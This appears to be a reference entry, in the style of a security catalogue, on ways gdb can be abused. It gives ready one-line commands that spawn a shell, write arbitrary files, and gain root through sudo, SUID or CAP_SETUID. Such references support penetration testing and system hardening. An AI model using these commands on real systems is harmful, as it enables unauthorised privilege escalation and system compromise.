This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
gdb -nx -ex '!/bin/sh' -ex quit
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
gdb -nx -ex '!/bin/sh' -ex quit
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
gdb -nx -ex '!/bin/sh' -ex quit
This function is performed bypassing the usual kernel permission checks if the executable has certain capabilities set.
The following capabilities are needed: CAP_SETUID.
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!/bin/sh' -ex quit
This executable can write data to local files.
This function can be performed by any unprivileged user.
gdb -nx -ex 'dump value /path/to/output-file "DATA"' -ex quit
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
gdb -nx -ex 'dump value /path/to/output-file "DATA"' -ex quit
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
gdb -nx -ex 'dump value /path/to/output-file "DATA"' -ex quit
This executable can inherit functions from another.
This function can be performed by any unprivileged user.
gdb -nx -ex 'python ...' -ex quit
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
gdb -nx -ex 'python ...' -ex quit
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
gdb -nx -ex 'python ...' -ex quit